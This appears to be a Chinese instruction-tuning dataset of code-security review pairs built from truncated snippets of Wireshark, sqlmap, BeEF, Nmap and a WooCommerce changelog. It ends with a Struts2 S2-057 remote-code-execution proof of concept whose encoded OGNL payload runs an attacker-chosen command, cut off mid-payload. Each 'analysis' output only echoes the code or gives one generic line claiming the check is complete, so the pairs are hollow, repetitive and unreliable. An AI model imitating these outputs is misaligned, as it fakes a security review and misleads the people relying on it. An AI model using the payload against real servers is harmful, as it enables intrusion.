	errno = ENOSYS;
	return (NULL);
}

int
fw_add(fw_t *f, const struct fw_rule *rule)
{
	errno = ENOSYS;
	return (-1);
}

int
fw_delete(fw_t *f, const struct fw_rule *rule)
{
	errno = ENOSYS;
	return (-1);
}

int
fw_loop(fw_t *f, fw_handler callback, void *arg)
{
	errno = ENOSYS;
	return (-1);
}

fw_t *
fw_close(fw_t *f)
{
	return (NULL);
}

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-rtls.c
 * Routines for Real Time Location System dissection
 * Copyright 2016, Alexis La Goutte (See Authors)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * http://community.arubanetworks.com/aruba/attachments/aruba/unified-wired-wireless-access/23715/1/RTLS_integrationv6.docx
 */

#include <config.h>

#include <epan/packet.h>
#include <epan/expert.h>

void proto_reg_handoff_rtls(void);
void proto_register_rtls(void);

static dissector_handle_t rtls_handle;

static int proto_rtls = -1;
static int hf_rtls_message_type = -1;
static int hf_rtls_message_id = -1;
static int hf_rtls_version_major = -1;
static int hf_rtls_version_minor = -1;
static int hf_rtls_data_length = -1;
static int hf_rtls_ap_mac = -1;
static int hf_rtls_padding = -1;
static int hf_rtls_reserved = -1;
static int hf_rtls_signature = -1;

static int hf_rtls_as_tag_addr = -1;
static int hf_rtls_sr_mac_address = -1;
static int hf_rtls_nack_flags = -1;
static int hf_rtls_nack_flags_internal_error = -1;
static int hf_rtls_nack_flags_station_not_found = -1;
static int hf_rtls_nack_flags_reserved = -1;
static int hf_rtls_tr_bssid = -1;
static int hf_rtls_tr_rssi = -1;
static int hf_rtls_tr_rssi_calculated = -1;
static int hf_rtls_tr_noise_floor = -1;
static int hf_rtls_tr_timestamp = -1;
static int hf_rtls_tr_tag_mac = -1;
static int hf_rtls_tr_frame_control = -1;
static int hf_rtls_tr_sequence = -1;
static int hf_rtls_tr_data_rate = -1;
static int hf_rtls_tr_tx_power = -1;
static int hf_rtls_tr_channel = -1;
static int hf_rtls_tr_battery = -1;
static int hf_rtls_sr_mac = -1;
static int hf_rtls_sr_noise_floor = -1;
static int hf_rtls_sr_data_rate = -1;
static int hf_rtls_sr_channel = -1;
static int hf_rtls_sr_rssi = -1;
static int hf_rtls_sr_rssi_calculated = -1;
static int hf_rtls_sr_type = -1;
static int hf_rtls_sr_associated = -1;
static int hf_rtls_sr_radio_bssid = -1...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-rtls.c
 * Routines for Real Time Location System dissection
 * Copyright 2016, Alexis La Goutte (See Authors)
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/*
 * http://community.arubanetworks.com/aruba/attachments/aruba/unified-wired-wireless-access/23715/1/RTLS_integrationv6.docx
 */

#include <config.h>

#include <epan/packet.h>
#include <epan/expert.h>

void proto_reg_handoff_rtls(void);
void proto_register_rtls(void);

static dissector_handle_t rtls_handle;

static int proto_rtls = -1;
static int hf_rtls_message_type = -1;
static int hf_rtls_message_id = -1;
static int hf_rtls_version_major = -1;
static int hf_rtls_version_minor = -1;
static int hf_rtls_data_length = -1;
static int hf_rtls_ap_mac = -1;
static int hf_rtls_padding = -1;
static int hf_rtls_reserved = -1;
static int hf_rtls_signature = -1;

static int hf_rtls_as_tag_addr = -1;
static int hf_rtls_sr_mac_address = -1;
static int hf_rtls_nack_flags = -1;
static int hf_rtls_nack_flags_internal_error = -1;
static int hf_rtls_nack_flags_station_not_found = -1;
static int hf_rtls_nack_flags_reserved = -1;
static int hf_rtls_tr_bssid = -1;
static int hf_rtls_tr_rssi = -1;
static int hf_rtls_tr_rssi_calculated = -1;
static int hf_rtls_tr_noise_floor = -1;
static int hf_rtls_tr_timestamp = -1;
static int hf_rtls_tr_tag_mac = -1;
static int hf_rtls_tr_frame_control = -1;
static int hf_rtls_tr_sequence = -1;
static int hf_rtls_tr_data_rate = -1;
static int hf_rtls_tr_tx_power = -1;
static int hf_rtls_tr_channel = -1;
static int hf_rtls_tr_battery = -1;
static int hf_rtls_sr_mac = -1;
static int hf_rtls_sr_noise_floor = -1;
static int hf_rtls_sr_data_rate = -1;
static int hf_rtls_sr_channel = -1;
static int hf_rtls_sr_rssi = -1;
static int hf_rtls_sr_rssi_calculated = -1;
static int hf_rtls_sr_type = -1;
static int hf_rtls_sr_associated = -1;
static int hf_rtls_sr_radio_bssid = -1...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-linx.c
 * Routines for LINX packet dissection
 *
 * Copyright 2006, Martin Peylo <martin.peylo@siemens.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* The used document is:
 * ENEA Link Protocol Specification available at
 * http://linx.sourceforge.net
 *
 * Fits currently to
 * Enea LINX for Linux
 * Version: 2.5.0, May 16, 2011
 *
 * Added support for LINX ETHCM version 3 and LINX RLNH version 2.
 * Mattias Wallin, linx@enea.com, September 23, 2007
 *
 * Added support for LINX TCP CM.
 * Dejan Bucar, linx@enea.com, June 21, 2011
 *
 * Added support for LINX ETHCM Multicore header.
 * Dejan Bucar, linx@enea.com, June 21, 2011
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/etypes.h>

void proto_register_linx(void);
void proto_reg_handoff_linx(void);
void proto_register_linx_tcp(void);
void proto_reg_handoff_linx_tcp(void);

static dissector_handle_t linx_handle;

static int proto_linx     = -1;
static int proto_linx_tcp = -1;

/* ALL */
static int hf_linx_nexthdr         = -1;

/* MULTICORE */
static int hf_linx_multicore_scoreid   = -1;
static int hf_linx_multicore_dcoreid   = -1;
static int hf_linx_multicore_reserved  = -1;
static int hf_linx_multicore_reserved1 = -1;

/* MAIN */
static int hf_linx_main_version    = -1;
static int hf_linx_main_reserved   = -1;
static int hf_linx_main_connection = -1;
static int hf_linx_main_bundle     = -1;
static int hf_linx_main_pkgsize    = -1;

/* UDATA */
static int hf_linx_udata_reserved  = -1;
static int hf_linx_udata_morefrags = -1;
static int hf_linx_udata_fragno    = -1;
static int hf_linx_udata_signo     = -1;
static int hf_linx_udata_dstaddr16 = -1;
static int hf_linx_udata_dstaddr32 = -1;
static int hf_linx_udata_srcaddr16 = -1;
static int hf_linx_udata_srcaddr32 = -1;
static int hf_linx_udata_payload   = -1;

/* ACK */
static int hf_linx...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-linx.c
 * Routines for LINX packet dissection
 *
 * Copyright 2006, Martin Peylo <martin.peylo@siemens.com>
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

/* The used document is:
 * ENEA Link Protocol Specification available at
 * http://linx.sourceforge.net
 *
 * Fits currently to
 * Enea LINX for Linux
 * Version: 2.5.0, May 16, 2011
 *
 * Added support for LINX ETHCM version 3 and LINX RLNH version 2.
 * Mattias Wallin, linx@enea.com, September 23, 2007
 *
 * Added support for LINX TCP CM.
 * Dejan Bucar, linx@enea.com, June 21, 2011
 *
 * Added support for LINX ETHCM Multicore header.
 * Dejan Bucar, linx@enea.com, June 21, 2011
*/

#include "config.h"

#include <epan/packet.h>
#include <epan/expert.h>
#include <epan/etypes.h>

void proto_register_linx(void);
void proto_reg_handoff_linx(void);
void proto_register_linx_tcp(void);
void proto_reg_handoff_linx_tcp(void);

static dissector_handle_t linx_handle;

static int proto_linx     = -1;
static int proto_linx_tcp = -1;

/* ALL */
static int hf_linx_nexthdr         = -1;

/* MULTICORE */
static int hf_linx_multicore_scoreid   = -1;
static int hf_linx_multicore_dcoreid   = -1;
static int hf_linx_multicore_reserved  = -1;
static int hf_linx_multicore_reserved1 = -1;

/* MAIN */
static int hf_linx_main_version    = -1;
static int hf_linx_main_reserved   = -1;
static int hf_linx_main_connection = -1;
static int hf_linx_main_bundle     = -1;
static int hf_linx_main_pkgsize    = -1;

/* UDATA */
static int hf_linx_udata_reserved  = -1;
static int hf_linx_udata_morefrags = -1;
static int hf_linx_udata_fragno    = -1;
static int hf_linx_udata_signo     = -1;
static int hf_linx_udata_dstaddr16 = -1;
static int hf_linx_udata_dstaddr32 = -1;
static int hf_linx_udata_srcaddr16 = -1;
static int hf_linx_udata_srcaddr32 = -1;
static int hf_linx_udata_payload   = -1;

/* ACK */
static int hf_linx...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.data import kb
from lib.request.connect import Connect as Request

def getPageTemplate(payload, place):
    retVal = (kb.originalPage, kb.errorIsNone)

    if payload and place:
        if (payload, place) not in kb.pageTemplates:
            page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
            kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)

        retVal = kb.pageTemplates[(payload, place)]

    return retVal


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.data import kb
from lib.request.connect import Connect as Request

def getPageTemplate(payload, place):
    retVal = (kb.originalPage, kb.errorIsNone)

    if payload and place:
        if (payload, place) not in kb.pageTemplates:
            page, _, _ = Request.queryPage(payload, place, content=True, raise404=False)
            kb.pageTemplates[(payload, place)] = (page, kb.lastParserStatus is None)

        retVal = kb.pageTemplates[(payload, place)]

    return retVal

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gsm_a_gm.c
 * Routines for GSM A Interface GPRS Mobility Management and GPRS Session Management
 *
 * Copyright 2003, Michael Lum <mlum [AT] telostech.com>
 * In association with Telos Technology Inc.
 *
 * Added the GPRS Mobility Management Protocol and
 * the GPRS Session Management Protocol
 *   Copyright 2004, Rene Pilz <rene.pilz [AT] ftw.com>
 *   In association with Telecommunications Research Center
 *   Vienna (ftw.)Betriebs-GmbH within the Project Metawin.
 *
 * Various updates, enhancements and fixes
 * Copyright 2009, Gerasimos Dimitriadis <dimeg [AT] intracom.gr>
 * In association with Intracom Telecom SA
 *
 * Title		3GPP			Other
 *
 *   Reference [7]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 5.9.0 Release 5)
 *
 *   Reference [8]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 6.7.0 Release 6)
 *	 (3GPP TS 24.008 version 6.8.0 Release 6)
 *
 *   Reference [9]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 9.6.0 Release 9)
 *
 *   Reference [10]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 10.6.1 Release 10)
 *
 *   Reference [11]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 11.7.0 Release 11)
 *
 *   Reference [12]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 12.10.0 Release 12)
 *
 *   Reference [13]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 13.8.0 Release 13)
 *
 *   Reference [14]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 14.6.0 R...


Instruction: 检查这段代码是否存在安全问题

Input:
/* packet-gsm_a_gm.c
 * Routines for GSM A Interface GPRS Mobility Management and GPRS Session Management
 *
 * Copyright 2003, Michael Lum <mlum [AT] telostech.com>
 * In association with Telos Technology Inc.
 *
 * Added the GPRS Mobility Management Protocol and
 * the GPRS Session Management Protocol
 *   Copyright 2004, Rene Pilz <rene.pilz [AT] ftw.com>
 *   In association with Telecommunications Research Center
 *   Vienna (ftw.)Betriebs-GmbH within the Project Metawin.
 *
 * Various updates, enhancements and fixes
 * Copyright 2009, Gerasimos Dimitriadis <dimeg [AT] intracom.gr>
 * In association with Intracom Telecom SA
 *
 * Title		3GPP			Other
 *
 *   Reference [7]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 5.9.0 Release 5)
 *
 *   Reference [8]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 6.7.0 Release 6)
 *	 (3GPP TS 24.008 version 6.8.0 Release 6)
 *
 *   Reference [9]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 9.6.0 Release 9)
 *
 *   Reference [10]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 10.6.1 Release 10)
 *
 *   Reference [11]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 11.7.0 Release 11)
 *
 *   Reference [12]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 12.10.0 Release 12)
 *
 *   Reference [13]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 13.8.0 Release 13)
 *
 *   Reference [14]
 *   Mobile radio interface Layer 3 specification;
 *   Core network protocols;
 *   Stage 3
 *   (3GPP TS 24.008 version 14.6.0 R...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import atexit
import os

from lib.core import readlineng as readline
from lib.core.common import getSafeExString
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import OS
from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HISTORY_LENGTH

try:
    import rlcompleter

    class CompleterNG(rlcompleter.Completer):
        def global_matches(self, text):
            """
            Compute matches when text is a simple name.
            Return a list of all names currently defined in self.namespace
            that match.
            """

            matches = []
            n = len(text)

            for ns in (self.namespace,):
                for word in ns:
                    if word[:n] == text:
                        matches.append(word)

            return matches
except:
    readline._readline = None

def readlineAvailable():
    """
    Check if the readline is available. By default
    it is not in Python default installation on Windows
    """

    return readline._readline is not None

def clearHistory():
    if not readlineAvailable():
        return

    readline.clear_history()

def saveHistory(completion=None):
    try:
        if not readlineAvailable():
            return

        if completion == AUTOCOMPLETE_TYPE.SQL:
            historyPath = paths.SQL_SHELL_HISTORY
        elif completion == AUTOCOMPLETE_TYPE.OS:
            historyPath = paths.OS_SHELL_HISTORY
        elif completion == AUTOCOMPLETE_TYPE.API:
            historyPath = paths.API_SHELL_HISTORY
        else:
            historyPath = paths.SQLMAP_SHELL_HISTORY

        try:
            with open(historyPath, "w+"):
                pass
        except:
            pass

        readline.set_history_length(MAX_HISTORY_LENGTH)
        try:
     ...


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

import atexit
import os

from lib.core import readlineng as readline
from lib.core.common import getSafeExString
from lib.core.data import logger
from lib.core.data import paths
from lib.core.enums import AUTOCOMPLETE_TYPE
from lib.core.enums import OS
from lib.core.settings import IS_WIN
from lib.core.settings import MAX_HISTORY_LENGTH

try:
    import rlcompleter

    class CompleterNG(rlcompleter.Completer):
        def global_matches(self, text):
            """
            Compute matches when text is a simple name.
            Return a list of all names currently defined in self.namespace
            that match.
            """

            matches = []
            n = len(text)

            for ns in (self.namespace,):
                for word in ns:
                    if word[:n] == text:
                        matches.append(word)

            return matches
except:
    readline._readline = None

def readlineAvailable():
    """
    Check if the readline is available. By default
    it is not in Python default installation on Windows
    """

    return readline._readline is not None

def clearHistory():
    if not readlineAvailable():
        return

    readline.clear_history()

def saveHistory(completion=None):
    try:
        if not readlineAvailable():
            return

        if completion == AUTOCOMPLETE_TYPE.SQL:
            historyPath = paths.SQL_SHELL_HISTORY
        elif completion == AUTOCOMPLETE_TYPE.OS:
            historyPath = paths.OS_SHELL_HISTORY
        elif completion == AUTOCOMPLETE_TYPE.API:
            historyPath = paths.API_SHELL_HISTORY
        else:
            historyPath = paths.SQLMAP_SHELL_HISTORY

        try:
            with open(historyPath, "w+"):
                pass
        except:
            pass

        readline.set_history_length(MAX_HISTORY_LENGTH)
        try:
     ...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Settings
    # Checks if an extension exists in the framework.
    # @param [String] beef_extension extension class
    # @return [Boolean] if the extension exists
    # @deprecated Use #{BeEF::Extension.is_present()} instead of this method.
    #   This method bypasses the configuration system.
    def self.extension_exists?(beef_extension)
      BeEF::Extension.const_defined?(beef_extension)
    end

    # Checks to see if the console extensions has been loaded
    # @return [Boolean] if the console extension has been loaded
    # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method.
    #   This method bypasses the configuration system.
    def self.console?
      extension_exists?('Console')
    end
  end
end


Instruction: 检查这段代码是否存在安全问题

Input:
#
# Copyright (c) 2006-2023 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
module BeEF
  module Settings
    # Checks if an extension exists in the framework.
    # @param [String] beef_extension extension class
    # @return [Boolean] if the extension exists
    # @deprecated Use #{BeEF::Extension.is_present()} instead of this method.
    #   This method bypasses the configuration system.
    def self.extension_exists?(beef_extension)
      BeEF::Extension.const_defined?(beef_extension)
    end

    # Checks to see if the console extensions has been loaded
    # @return [Boolean] if the console extension has been loaded
    # @deprecated Use #{BeEF::Extension.is_loaded()} instead of this method.
    #   This method bypasses the configuration system.
    def self.console?
      extension_exists?('Console')
    end
  end
end

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

# Minimum Age for WooCommerce

### 1.0.2

Released 2018-11-05

* irony: view for PHP compatibility message used short echo tags not compatible with PHP < 5.4

### 1.0.1

Released 2018-10-17

* changed: marked as tested up to WooCommerce 3.5

### 1.0.0

Released 2018-09-29

* initial public release


Instruction: 检查这段代码是否存在安全问题

Input:
# Minimum Age for WooCommerce

### 1.0.2

Released 2018-11-05

* irony: view for PHP compatibility message used short echo tags not compatible with PHP < 5.4

### 1.0.1

Released 2018-10-17

* changed: marked as tested up to WooCommerce 3.5

### 1.0.0

Released 2018-09-29

* initial public release

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def osCmd(self):
        errMsg = "on HSQLDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osShell(self):
        errMsg = "on HSQLDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osPwn(self):
        errMsg = "on HSQLDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osSmb(self):
        errMsg = "on HSQLDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)


Instruction: 检查这段代码是否存在安全问题

Input:
#!/usr/bin/env python

"""
Copyright (c) 2006-2023 sqlmap developers (https://sqlmap.org/)
See the file 'LICENSE' for copying permission
"""

from lib.core.exception import SqlmapUnsupportedFeatureException
from plugins.generic.takeover import Takeover as GenericTakeover

class Takeover(GenericTakeover):
    def osCmd(self):
        errMsg = "on HSQLDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osShell(self):
        errMsg = "on HSQLDB it is not possible to execute commands"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osPwn(self):
        errMsg = "on HSQLDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

    def osSmb(self):
        errMsg = "on HSQLDB it is not possible to establish an "
        errMsg += "out-of-band connection"
        raise SqlmapUnsupportedFeatureException(errMsg)

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/* packet-gmr1_rach.c
 *
 * Routines for GMR-1 RACH dissection in wireshark.
 * Copyright (c) 2012 Sylvain Munaut <tnt@246tNt.com>
 *
 * References:
 *  [1] ETSI TS 101 376-4-8 V1.3.1 - GMR-1 04.008
 *  [2] ETSI TS 101 376-4-8 V2.2.1 - GMPRS-1 04.008
 *  [3] ETSI TS 101 376-4-8 V3.1.1 - GMR-1 3G 44.008
 *
 * Especially [1] 10.1.8
 *
 * Wireshark - Network traffic analyzer
 * By Gerald Combs <gerald@wireshark.org>
 * Copyright 1998 Gerald Combs
 *
 * SPDX-License-Identifier: GPL-2.0-or-later
 */

#include "config.h"

#include <stdlib.h>

#include <epan/packet.h>

void proto_register_gmr1_rach(void);

/* GMR-1 RACH proto */
static int proto_gmr1_rach = -1;

/* GMR-1 RACH subtrees */
static gint ett_rach_msg = -1;
static gint ett_rach_kls1 = -1;
static gint ett_rach_kls2 = -1;
static gint ett_rach_gmprs_type1_kls2 = -1;
static gint ett_rach_gmprs_type2_kls2 = -1;
static gint ett_rach_est_cause = -1;
static gint ett_rach_dialed_num = -1;
static gint ett_rach_gps_pos = -1;
static gint ett_rach_gmprs_req_type = -1;

/* Fields */
static int hf_rach_prio = -1;
static int hf_rach_est_cause = -1;
static int hf_rach_est_cause_moc = -1;
static int hf_rach_est_cause_pag_resp = -1;
static int hf_rach_num_plan = -1;
static int hf_rach_chan_needed = -1;
static int hf_rach_retry_cnt = -1;
static int hf_rach_precorr = -1;
static int hf_rach_rand_ref = -1;

static int hf_rach_gps_pos_cpi = -1;
static int hf_rach_gps_pos_lat = -1;
static int hf_rach_gps_pos_long = -1;

static int hf_rach_mes_pwr_class = -1;
static int hf_rach_sp_hplmn_id = -1;
static int hf_rach_pd = -1;
static int hf_rach_number = -1;
static int hf_rach_number_grp1 = -1;
static int hf_rach_number_grp2 = -1;
static int hf_rach_number_grp3 = -1;
static int hf_rach_number_grp4 = -1;
static int hf_rach_number_grp5 = -1;
static int hf_rach_msc_id = -1;
static int hf_rach_gps_timestamp = -1;
static int hf_rach_software_version = -1;
static int hf_rach_spare = -1;
static int hf_rach_gci = -1;
static int hf_rach_r = -1;
stat...


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

/***************************************************************************
 * ncat_posix.c -- POSIX-specific functions.                               *
 ***********************IMPORTANT NMAP LICENSE TERMS************************
 *
 * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
 * Project"). Nmap is also a registered trademark of the Nmap Project.
 *
 * This program is distributed under the terms of the Nmap Public Source
 * License (NPSL). The exact license text applying to a particular Nmap
 * release or source code control revision is contained in the LICENSE
 * file distributed with that version of Nmap or source code control
 * revision. More Nmap copyright/legal information is available from
 * https://nmap.org/book/man-legal.html, and further information on the
 * NPSL license itself can be found at https://nmap.org/npsl/ . This
 * header summarizes some key points from the Nmap license, but is no
 * substitute for the actual license text.
 *
 * Nmap is generally free for end users to download and use themselves,
 * including commercial use. It is available from https://nmap.org.
 *
 * The Nmap license generally prohibits companies from using and
 * redistributing Nmap in commercial products, but we sell a special Nmap
 * OEM Edition with a more permissive license and special features for
 * this purpose. See https://nmap.org/oem/
 *
 * If you have received a written Nmap license agreement or contract
 * stating terms other than these (such as an Nmap OEM license), you may
 * choose to use and redistribute Nmap under those terms instead.
 *
 * The official Nmap Windows builds include the Npcap software
 * (https://npcap.com) for packet capture and transmission. It is under
 * separate license terms which forbid redistribution without special
 * permission. So the official Nmap Windows builds may not be redistributed
 * without special permission (such as an Nmap OEM license).
 *
 * Source is provided to this software because we b...


Instruction: 检查这段代码是否存在安全问题

Input:
/***************************************************************************
 * ncat_posix.c -- POSIX-specific functions.                               *
 ***********************IMPORTANT NMAP LICENSE TERMS************************
 *
 * The Nmap Security Scanner is (C) 1996-2023 Nmap Software LLC ("The Nmap
 * Project"). Nmap is also a registered trademark of the Nmap Project.
 *
 * This program is distributed under the terms of the Nmap Public Source
 * License (NPSL). The exact license text applying to a particular Nmap
 * release or source code control revision is contained in the LICENSE
 * file distributed with that version of Nmap or source code control
 * revision. More Nmap copyright/legal information is available from
 * https://nmap.org/book/man-legal.html, and further information on the
 * NPSL license itself can be found at https://nmap.org/npsl/ . This
 * header summarizes some key points from the Nmap license, but is no
 * substitute for the actual license text.
 *
 * Nmap is generally free for end users to download and use themselves,
 * including commercial use. It is available from https://nmap.org.
 *
 * The Nmap license generally prohibits companies from using and
 * redistributing Nmap in commercial products, but we sell a special Nmap
 * OEM Edition with a more permissive license and special features for
 * this purpose. See https://nmap.org/oem/
 *
 * If you have received a written Nmap license agreement or contract
 * stating terms other than these (such as an Nmap OEM license), you may
 * choose to use and redistribute Nmap under those terms instead.
 *
 * The official Nmap Windows builds include the Npcap software
 * (https://npcap.com) for packet capture and transmission. It is under
 * separate license terms which forbid redistribution without special
 * permission. So the official Nmap Windows builds may not be redistributed
 * without special permission (such as an Nmap OEM license).
 *
 * Source is provided to this software because we b...

Output: 代码安全检查完成，建议遵循安全编码规范。


Instruction: 请分析这段安全相关的代码

Output:
安全代码分析：

from collections import OrderedDict
from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.0.4 - 2.3.34, 2.5.0-2.5.16,'
    name = 'Struts2-057远程代码执行'
    desc = '''Struts2-057远程代码执行'''
    pocDesc = '''Struts2-057远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-057/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = r"/struts2-showcase/"+"%24%7B%0A(%23dm%3D%40ognl" \
            r".OgnlContext%40DEFAULT_MEMBER_ACCESS).(%23ct%3D%23request%5B's" \
            r"truts.valueStack'%5D.context).(%23cr%3D%23ct%5B'com.opensympho" \
            r"ny.xwork2.ActionContext.container'%5D).(%23ou%3D%23cr.getInsta" \
            r"nce(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ou." \
            r"getExcludedPackageNames().clear()).(%23ou.getExcludedClasses()" \
            r".clear()).(%23ct.setMemberAccess(%23dm)).(%23a%3D%40java.lang." \
            r"Runtime%40getRuntime().exec('RECOMMAND')).(%40org.apache.commo" \
            r"ns.io.IOUti...


Instruction: 检查这段代码是否存在安全问题

Input:
from collections import OrderedDict
from requests.exceptions import ReadTimeout
from pocsuite3.api import Output, POCBase, POC_CATEGORY, register_poc, requests, VUL_TYPE, OptString

class DemoPOC(POCBase):
    vulID = '0'  # ssvid
    version = '1'
    appName = 'Struts2'
    appVersion = '2.0.4 - 2.3.34, 2.5.0-2.5.16,'
    name = 'Struts2-057远程代码执行'
    desc = '''Struts2-057远程代码执行'''
    pocDesc = '''Struts2-057远程代码执行'''
    vulType = VUL_TYPE.CODE_EXECUTION
    category = POC_CATEGORY.EXPLOITS.WEBAPP
    protocol = POC_CATEGORY.PROTOCOL.HTTP
    references = ['https://github.com/vulhub/vulhub/blob/master/struts2/s2-057/README.zh-cn.md']

    def _options(self):
        o = OrderedDict()
        o["command"] = OptString("whoami", description="攻击时自定义命令")
        return o

    def _verify(self):

        HEADERS = {
            'Accept': 'application/x-shockwave-flash,'
                      'image/gif,'
                      'image/x-xbitmap,'
                      'image/jpeg,'
                      'image/pjpeg,'
                      'application/vnd.ms-excel,'
                      'application/vnd.ms-powerpoint,'
                      'application/msword,'
                      '*/*',
            'Content-Type': 'application/x-www-form-urlencoded'
        }

        result = {}
        cmd = "echo VuLnEcHoPoCSuCCeSS"
        payload = r"/struts2-showcase/"+"%24%7B%0A(%23dm%3D%40ognl" \
